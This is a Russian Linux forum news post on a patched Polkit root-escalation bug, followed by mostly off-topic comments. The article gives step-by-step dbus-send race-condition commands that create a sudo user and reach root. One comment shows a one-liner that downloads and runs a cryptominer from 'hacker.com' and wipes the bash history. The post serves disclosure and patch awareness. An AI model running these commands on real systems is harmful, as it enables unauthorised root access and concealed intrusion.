LINUX.ORG.RU

Семилетний баг в Polkit, позволяющий получить права root

 , ,

Семилетний баг в Polkit, позволяющий получить права root

2

1

Участник GitHub Security Lab Kevin Backhouse обнаружил уязвимость в Polkit, которая впервые появилась семь лет назад в коммите bfa5036 и с версией 0.113 попала в некоторые дистрибутивы. Она позволяет непривилегированному локальному пользователю получить права root в системе, приложив для этого минимальные усилия. Уязвимости подвержены любые дистрибутивы с установленной версией Polkit 0.113 (или более поздней). Например, такие популярные, как RHEL 8 и Ubuntu 20.04. Уязвимость была устранена 3 июня 2021 года.

Как пишет Kevin Backhouse, уязвимость очень просто эксплуатируется, для этого достаточно простых инструментов: bash, kill, и dbus-send. Кроме них, для своей статьи (PoC exploit) он так же использовал accountsservice и gnome-control-center, которые можно найти на многих системах с GUI. Следует заметить, что accountsservice и gnome-control-center не содержат уязвимость и являются просто клиентами для Polkit.

Собственно уязвимость активируется с помощью команды dbus-send (т.е. простой отправки сообщения через шину D-Bus), которую нужно завершить во время, пока Polkit ещё обрабатывает запрос. Теоретически, можно нажать Ctrl + C на клавиатуре в нужный момент, однако Kevin Backhouse не смог продемонстрировать именно такой вариант.


Шаги* эксплуатации уязвимости из PoC exploit

Для начала нужно замерить время, которое требуется для нормального выполнения команды dbus-send:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Результат должен быть примерно таким:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

Вывод команды time показывает, что dbus-send была выполнена за 16 миллисекунд. Следовательно, для успешной эксплуатации команда dbus-send должна быть завершена примерно через 8 миллисекунд после запуска.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

Вероятно, что данный трюк удастся провернуть не с первого раза, поэтому может понадобится подобрать более подходящую задержку перед завершением dbus-send. Если время будет подобрано правильно и команда отработает успешно, то в системе появится новый пользователь boris входящий в группу sudo.
$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Далее необходимо задать пароль для пользователя boris. D-Bus интерфейс ожидает, что пароль будет передан в виде хеша, который легко получить с помощью openssl.
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Теперь следует провернуть аналогичный описанному выше трюк с командой dbus-send, за исключением используемого метода. На сей раз требуется метод SetPassword.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Как и в прошлый раз, вероятно потребуется несколько попыток и подбор значения задержки. Так же следует обратить внимание на идентификатор пользователя, который может отличаться от 1002 в примере.

Наконец можно получить привилегии пользователя root в системе:
su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

―――
* Шаги эксплуатации уязвимости приведены исключительно для ознакомления. Ни в коем случае не пытайтесь повторить их на системах принадлежащих не вам. Помните об ответственности!

P.S. Настоятельно рекомендуется выполнить обновление системы.

>>> Подробности

★★★★★

Проверено: xaizek ()
Последнее исправление: xaizek (всего исправлений: 10)

Ответ на: комментарий от dexpl

Со всеми школами и ВУЗами во всех российских регионах?

Нет.

А почему говоришь за все?

Я не говорю за все. Я указал на то, что назвали «чушью» ею не является.

А поименный список тех, с которыми работал, дашь?

А зачем тебе?

uberroot
()
Ответ на: комментарий от uberroot

Речь про региональные же шла.

Речь шла про регионы, цитирую: «В регионах почти все компьютеры в гоструктурах кроме тех где деньги крутятся на пиратских вендах».

Нижегородский кампус НИУ ВШЭ — это регионы. Правда, там деньги крутятся :-)

На практике же муниципалитеты и федералы выделяют деньги на покупку ПО отдельной статьёй, именно ради этого Базальт СПО, например, пошёл на замуты с лицензией, которые очень не любят местные лицензионные пуристы. Потому что с этого бюджета нельзя купить, например, поддержку, можно только лицензию.

И кучка организаций следит за тем, чтобы университеты лицензии покупали, на винды в том числе.

Но ты отказываешься называть свои университеты, поэтому я даже не знаю, что тебе сказать. Может, они такие особые.

Aceler ★★★★★
()
Ответ на: комментарий от khrundel

Что тебе толку от того

Мне толку никакого, мой вопрос был на грани троллоло.

Ответ получил: сродни справке об отпущении грехов :))

windows10 ★★★★★
()
Ответ на: комментарий от Aceler

И кучка организаций следит за тем, чтобы университеты лицензии покупали, на винды в том числе.

Я с тобой в этом пункте и не спорил. Я лишь сказал, что покупают лицензии на ПО на порядки меньше. И не на всё. А на кафедрах стоит пиратское ПО.

Возможно в Нижнем и правда всё настолько хорошо отлажено. И у тебя сложилось впечатление, что везде так. У меня со своей колокольни сложилось совсем иное впечатление. Наверное, истина где-то посередине.

uberroot
()
Ответ на: комментарий от uberroot

Видел ситуацию, когда организация закупает сколько нужно лицензий, а админы на местах по привычке ставят и крякают винду, т.к. даже не в курсах и не парятся. Не знаю даже, можно ли это считать незаконным.

Legioner ★★★★★
()
Ответ на: комментарий от Legioner

я на стой делл накатил дубиан-9 (диван2) так как убанта не фурычила из коробки - все из коробки кроме датчика пальца. обновилось на диван3 штатно и тоже без косяков…

anonymous
()
Ответ на: комментарий от Legioner

Ну у нас, например, какая ситуация была. Купили лицензий SolidWorks на 1 класс (машин 16 вроде бы), а поставили в 4 классах. По бумагам всё хорошо, никто не будет сверять где именно студенты занимаются. А таскать всех в один тоже никто не будет - преподы не будут бегать из одного корпуса в другой.

Поэтому на бумагах всё хорошо. А в реальности - нет.

Я помню даже историю, когда перед проверкой по шапке надавали одному заведующему, потому что они методичку выпустили по Автокаду (а может по КОМПАСу, не помню уже), а у университета лицензии не было.

И это не говоря про увп-бабушек, которые привыкли чертить графики в AI. И ты их не перетащищь в Inkscape так же, как преподов с TheBat! на Thunderbird.

Поэтому мир реальности отличается от мира, который изображают на бумагах в отчётах. Собственно, именно это я и пытался сказать.

uberroot
()
Ответ на: комментарий от uberroot

У нас в региональном вузе все норм - пиратки нет, винда лицуха, за лицензиями следят и ведут кто, где сколько и т.д.

А из школ большинство тупо на подписке, 800 руб на комп в год и свободен - хотя по факту у многих полный бардак… но мелкомягкие не будут их трогать - вони много, току мало, а так платят каждый год и платят

anonymous
()
Ответ на: комментарий от Legioner

И кстати да, ты мне напомнил ещё один прекрасный случай, когда к нам на кафедру выписали 6 новеньких компьютеров с предустановленной семёрочкой домашней, которую преподаватели резво сносили и ставили пиратский Ultimate.

uberroot
()
Ответ на: комментарий от uberroot

ну у вас какой то форменный бардак. у нас установкой винды и софта занимаются специально обученные люди, а не любой «препод»

anonymous
()
Ответ на: комментарий от anonymous

У нас обученные люди занимались установкой ПО только на студенческих компах, а преподаватели и увп сами решали свои проблемы.

Но это не только у нас такой «бардак». Возможно это не везде, но не только у нас было.

uberroot
()
Ответ на: комментарий от uberroot

а преподаватели и увп сами решали свои

это какая-то шарашкина контора на 10 компов, а не ВУЗ…

anonymous
()

Хаха. Сколько лет я интуитивно выпиливал polkit и dbus со всех своих машин - если не получалось выпилить сборку с этим говном из пакетов то просто заменял их бинарники на true. Интуиция не подвела.

slovazap ★★★★★
()
Ответ на: комментарий от slovazap

Ага, так я и поверю. Получил ты бесполезно потраченные часы, отвечу за тебя.

MOPKOBKA ★★★★
()
Ответ на: комментарий от windows10

Не тот ответ получил. Какую бы аналогию придумать… Вот допустим ты - погроммист. Хороший. Знаешь какие-то принципы как писать чтоб не падало, про тестирование слышал, даже что-то про всякие криптографии, хоть немного, но основное представляешь, а про остальное знаешь где посмотреть. И заработал ты денег, взял в ипотеку квартиру. Надо купить бытовую технику, духовку например. А ты про них не знаешь, в детстве родителей видел плиту горение 80го года выпуска, потом жил по съёмным хатам где либо то же старьё, либо вообще сломано, либо самое дешёвое куплено.

Ну вот ты куришь доки, а там гидролизы/пиролизы/конвекции-хренекции, вроде всё понятно, но непонятно надо оно тебе и за какую доплату каждая фича оправдана. Ну и идёшь ты на форумы спрашивать, читаешь обзоры, может даже рейтинги «лучшие духовки 2021 года». И это не значит, что если купленная потом недешёвая духовка сломается, то виноват будет кто-то кто тебе на форуме что-то посоветовал. И тем более не значит, что весь процесс был «отпущением грехов». Т.е. лично для тебя может и был, может тебе было ссыкотно принять решение самому и ты просто искал подтверждение своего выбора или там деньги тебе мамка давала и тебе нужно было объяснить «а чё так дорого», но в общем сам процесс - вполне естественное поведение человека в условиях недостаточной компетенции.

khrundel ★★★★
()
Ответ на: комментарий от olelookoe

про «сишная дырень, переписать на раст» уже было?

Кто о чём, а лысый о расчёске. Казалось бы, типичная ошибка в логике, но пришёл ты и приплёл сюда rust. Скажи, у тсаря учишься? Тот тоже любит ошибки в логике вменять в вину языку.

WatchCat ★★★★★
()
Ответ на: комментарий от splinter

а ты логи локально хранишь? ну и ССЗБ.

Логи не имеют никакого отношения к дыркам в ПО - это раз.

Имея рутовый доступ - даже в удаленный лог можно насрать, или просто отключить временно.

Проблему это не решит.

Какой лог тебе покажет чото-то типа wget 'https://hacker.com/cryptominer.exe';chmod +x cryptominer.exe;./cryptominer.exe &;rm -f /root/.bash_history ? Никакой.

Если бы все было так просто как ты говоришь - о малвари никто бы не знал.

windows10 ★★★★★
()
Ответ на: комментарий от Croco

Довольно долго жил на десктопе без dbus. Но в какой-то момент задолбался под нужный мне софт патчи править и портежи исправлять и таки сдался.

Waterlaz ★★★★★
()
Ответ на: комментарий от anonymous

То, что один из отделов гугла, корпорации которая имеет тариф безлитный, выпустила одно устройства на какой-то там ОС - вообще никакой не результат. IBM и Microsoft постоянно что-то выпускают. И гугл теперь такая же, постоянно что-то там палец правой ноги выпускает.

ixrws ★★★
()
Ответ на: комментарий от anonymous

Расползётся по исходникам, где на каждую архитектуру будет много asm, для каждого драйвера будут свои дополнения и много много чего ещё, если мы говорим о том, что fuchsia будет поставляться на множестве устройств, а не на двух брендированных железяках.

Вендор делает так, как ему удобно. Ни под какие абстракции затачивать драйвер он не будет, если ему в этом не будет явной выгоды. Переписывать много кода ради поддержки ещё одной ОС - это маловероятно. На практике драйверы той же nvidia, qualcomm и прочих - имеют общее дерево исходников и обёртки под разные платформы. Нужно будет драйвер gpu для fucsia - будет он работать либо через userspace обёртку, но медленно, потому что всем насрать, либо через обёртку, но прямо в ядре и быстро. Именно этим путём идёт ios и mac os, а уж у apple достаточно ресурсов чтобы давить на вендоров и самим пилить юзерспейсные дрова.

ixrws ★★★
()
Ответ на: комментарий от WatchCat

Дело в том, что ошибка именно в рекламе rust. Язык заявляет безопасность, которой по факту нет, даже «memory safety». На что уже многократно указывалось.

Но приверженцы rust всё отрицают, никак не аргументируя свою позицию. Поэтому не стоит удивляться тому факту, что этот язык и его комьюнити стали именами нарицательными.

media_absent
()
Ответ на: комментарий от ixrws

Вендор делает так, как ему удобно. Ни под какие абстракции затачивать драйвер он не будет, если ему в этом не будет явной выгоды.

ну чушь же несёшь, что значит не будет явной выгоды ? Все вендоры портируют драйверы под ОС иначе они работать не будут. То что есть кросcплатформенное ядро и HAL для интерфейса ОС ничего не меняет - драйвер на каждой ОС использует её интерфейс

Нужно будет драйвер gpu для fucsia - будет он работать либо через userspace обёртку, но медленно, потому что всем насрать, либо через обёртку, но прямо в ядре и быстро.

опять мимо - GPU это отдельный процессор от CPU, где там драйверы у CPU ему пофиг, тем более с появлением SoC все стремятся использовать zero copy чтобы как можно меньше использовать CPU

anonymous
()
Ответ на: комментарий от khrundel

в детстве родителей видел плиту горение 80го года выпуска

Gorenje, если что, и сейчас плиты делает и не самые дешёвые, между прочим. :)

hobbit ★★★★★
()
Ответ на: комментарий от anonymous

Если ВСКУКАРЕКИ, то нехорошо, а если суждение «дельное», то почему бы и не обсудить …

Кстати, Владимир, Вы недавно забаненным аккаунтом низкоэффективно как-то распорядились. Писали бы какие-нибудь технические соображения по созданию открытого аналога 1С, или о чём у вас идеи были. Мы бы с интересом почитали. А то ведь 99% комментариев было в стиле Капитана Очевидность, модераторы и расценили это как флуд. Лично мне — жаль.

hobbit ★★★★★
()
Ответ на: комментарий от zabbal

Я за бан

Пффф. Ну и начнёт он орать, что линуксоиды такие-сякие, на своём форуме ЗА ПРАВДУ его забанили.

Вот потыкать его мордочкой прилюдно за такие слова в том Брюса Шнайера стоит, да.

hobbit ★★★★★
()
Ответ на: комментарий от anonymous

Откуда вы берётесь теоретики-кукаретики. Давай так с ходу назови парочку юзерспейсных драйверов gpu для мейнстримовых gpu?

Я просто про то веду речь, что одно дело сваять API, чтобы весь код драйвера был как userpspace и в принципе это не проблема, многие вендоры легко через прослойку адаптируют свой код. Но работать это будет дерьмово. А вот чтобы работало хорошо(если это технически возможно конечно), вендору должно быть выгодно пилить.

ixrws ★★★
()
Ответ на: комментарий от ixrws

Откуда вы берётесь теоретики-кукаретики

и не говори - откуда ты взялся

Давай так с ходу назови парочку юзерспейсных драйверов gpu для мейнстримовых gpu?

давай так - все драйверы GPU для иксов работали в юзерспейс, на Linux кроме framebuffer-а не было ядерного API для графики. Юзерспейсные драйверы мапили ресурсы GPU и работли с ними напрямую, именно поэтому иксам нужны были права root

многие вендоры легко через прослойку адаптируют свой код. Но работать это будет дерьмово.

дерьмово это работает на Linux из-за того что кроме графики есть видео и использовать это всё вместе имея нестандартные драйверы попаболь - это надо постоянно переписывать по 100 раз потому что API меняется. Имея стандартные драйверы в майнлайне это делают автоматом вместо тебя.

anonymous
()
Ответ на: комментарий от anonymous

Ну вот начинается игра словами. Только мапили ресурсы и тому подобное. А то что DRM ключает в себя модули под каждого вендора и код для каждого gpu - это, это не часть драйвера, ага? Обычная игра слов чтобы доказать что-то там.

Вот когда в fuchsia будет поддержка кучи оборудования, а на стороне ядра будет DRM без кода поддержки конкретного вендора, а общий код, и будет он в 500 строк - тогда и будем басни тут петь. А пока - шляпа это всё.

И да, в Linux очень пристойно работает учитывая какое количество платформ он поддерживает. Уровень поддержки таков, что нет другой такой OS, которая могла бы лучше.

ixrws ★★★
()
Ответ на: комментарий от ixrws

Ну вот начинается игра словами

у тебя начинается виляние задом потому что учишься ты по ходу беседы и говоришь о вещах которые не понимаешь

Нужно будет драйвер gpu для fucsia - будет он работать либо через userspace обёртку, но медленно, потому что всем насрать, либо через обёртку, но прямо в ядре и быстро

так вот в Linux они отродясь работали в юзерспейс и быстро, в фуксии добавятся накладные расходы на доступ к ресурсам GPU (программируемые регистры) через специальный сервис. Никакой разницы откуда CPU дёргает регистры GPU нет, GPU это отдельный процессор с DMA - пофиг ему на CPU и его ОС.

anonymous
()
Ответ на: комментарий от media_absent

Дело в том, что ошибка именно в рекламе rust.

Дело отнюдь не в рекламе Rust. Проблема в том, что хейтеры читают жопой.

На что уже многократно указывалось.

Кем и когда? С высерами дебилов в стиле «у вас есть unsafe, значить нет никакой safety» я дискутировать не собираюсь. Т.к. это контрпродуктивно и только тратит моё время.

WatchCat ★★★★★
()
Ответ на: комментарий от anonymous

в фуксии добавятся накладные расходы на доступ к ресурсам GPU (программируемые регистры) через специальный сервис

кстати, даже этих накладных расходов в фуксии нет

https://fuchsia.dev/fuchsia-src/concepts/drivers/driver_development/bar#reading_and_writing_memory

Once the pci_map_bar() function returns with a valid result, you can access the BAR with simple pointer operations, for example:

volatile uint32_t* base;
...
zx_status_t rc;
rc = pci_map_bar(dev->pci, 0, ZX_CACHE_POLICY_UNCACHED_DEVICE, &base, &size, &handle);
if (rc == ZX_OK) {
    base[REGISTER_X] = 0x1234;  // configure register X for deep sleep mode
}
anonymous
()
Ответ на: комментарий от hobbit

Ну и начнёт он орать

Он в любом случае орать начнёт - виндузятники без гет-зе-фактс просто жить не могут, это их имманентное свойство.

zabbal ★★★★★
()
Ответ на: комментарий от WatchCat

Вот, кстати, этот комментарий прекрасно подтверждает мой тезис. Снова никакой аргументации, зато наличествуют хейтеры и дебилы.

Я не собираюсь кого-либо переубеждать, просто объяснил своё видение причин, по которым rust так часто упоминают в негативном ключе. Действительно, если человек сходу объявляет людей с иной точкой зрения «хейтерами, читающими жопой» и «дебилами с высерами» - нет никаких причин обращать своё внимание на мнение такого уникума.

Вы почему-то считаете нормальным назвать кого-то дебилом, но недоумеваете, когда плохо отзываются о вас или вашем любимом языке.

media_absent
()
Ответ на: комментарий от media_absent

Снова никакой аргументации

Не вижу никакой аргументации с обоих сторон.

anonymous
()
Ответ на: комментарий от media_absent

Вот, кстати, этот комментарий прекрасно подтверждает мой тезис.

Как и ты мой, что лысый о расчёске. Ты сказал А, так говори Б. Но нет, только пустословие.

WatchCat ★★★★★
()
Ответ на: комментарий от zabbal

А вот и виндузятники со своей пропагандой подъехали. Я за бан - только мастдайных ботов нам тут не хватало.

Классические любители швабодки. Только им дай тоталитаризм разводить, всех бы к стенке поставили бы.))) Есть только их правильное мнение и все остальные неправильные. Классика жанра

anonymous
()
Ответ на: комментарий от anonymous

Попробуй обратиться в прокуратуру.

Смешно. Когда укравшие целую страну теперь ярые сторонники праведности и законности)))

anonymous
()
Ответ на: комментарий от uberroot

Это не менее прелестная чушь.

В чём чушь, поясни. Ты точно знаешь изнутри работу региональных школ, ВУЗов и поликлиник?

Я до середины 2016 работал в школе. Тенденция была строго на закупку лицух венды. Ператку выживали последовательно, линапсы у нас не прижились в масштабе как минимум города и раёнов. В течение года после моего ухода всё перевели на венду (около 20 тачек с линапсами).

В медицине же юзается и лицензионная венда + пропихивают астролинапс. У нас в организации пока минт + лицензионная спермёрка на всякой бухгалтерии или на управляющих машинах медтехники, но с некоторыми аппаратами идёт ещё ВыньХП. В медицине с переходом на линапсы меньше проблем, чем в образовании.

Vier_E ★★★
()
Ответ на: комментарий от WatchCat

Во первых, человек вроде вас, застрявший в своём развитии на хейтерах и дебилах, не сможет воспринять ничего кроме «ты идиот и точка». Но с этим не ко мне.

Во вторых, посылы вида «нет, это вы должны» выдают отсутствие собственной точки зрения. То есть вы оперируете исключительно чужими мнениями. Вы заявляли «safety» - прошу на трибуну доказывать своё утверждение, мои контраргументы будут уже к вашим тезисам. Сможете или мы снова убедимся в отсутствии в rust заявляемых свойств?

media_absent
()
Ответ на: комментарий от uberroot

домашнюю винду один хрен нельзя использовать где-то кроме дома.

salozar
()
Ответ на: комментарий от anonymous

ну совсем-то уж внаглую писать куда попало нельзя. обычно мапят командный буфер в юзерспейс и позволяют приложению пнуть драйвер чтоб тот пнул железо, чтоб то посмотрело что там в буфере накидали.

salozar
()
Ответ на: комментарий от ixrws

ты из какого года такой приехал?

работает это везде включая винду одинаково - небольшой драйвер в ведре, который слушает прерывание, пинает железо когда командный буфер готов, и отвечает за mmap.

salozar
()
Ответ на: комментарий от salozar

И этот небольшой драйвер делается под каждый gpu. Тот же DRM из Linux, весь целиком включая все драйверы, вполне себе больше кода любого микроядра. И абсолютно такая же картина в Windows и в Mac OS.

ixrws ★★★
()
Ответ на: комментарий от hobbit

Кстати, Владимир, Вы недавно забаненным аккаунтом низкоэффективно как-то распорядились. Писали бы какие-нибудь технические соображения по созданию открытого аналога 1С, или о чём у вас идеи были. Мы бы с интересом почитали. А то ведь 99% комментариев было в стиле Капитана Очевидность, модераторы и расценили это как флуд. Лично мне — жаль

Думаю, причина в ином и вам она хорошо известна …

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.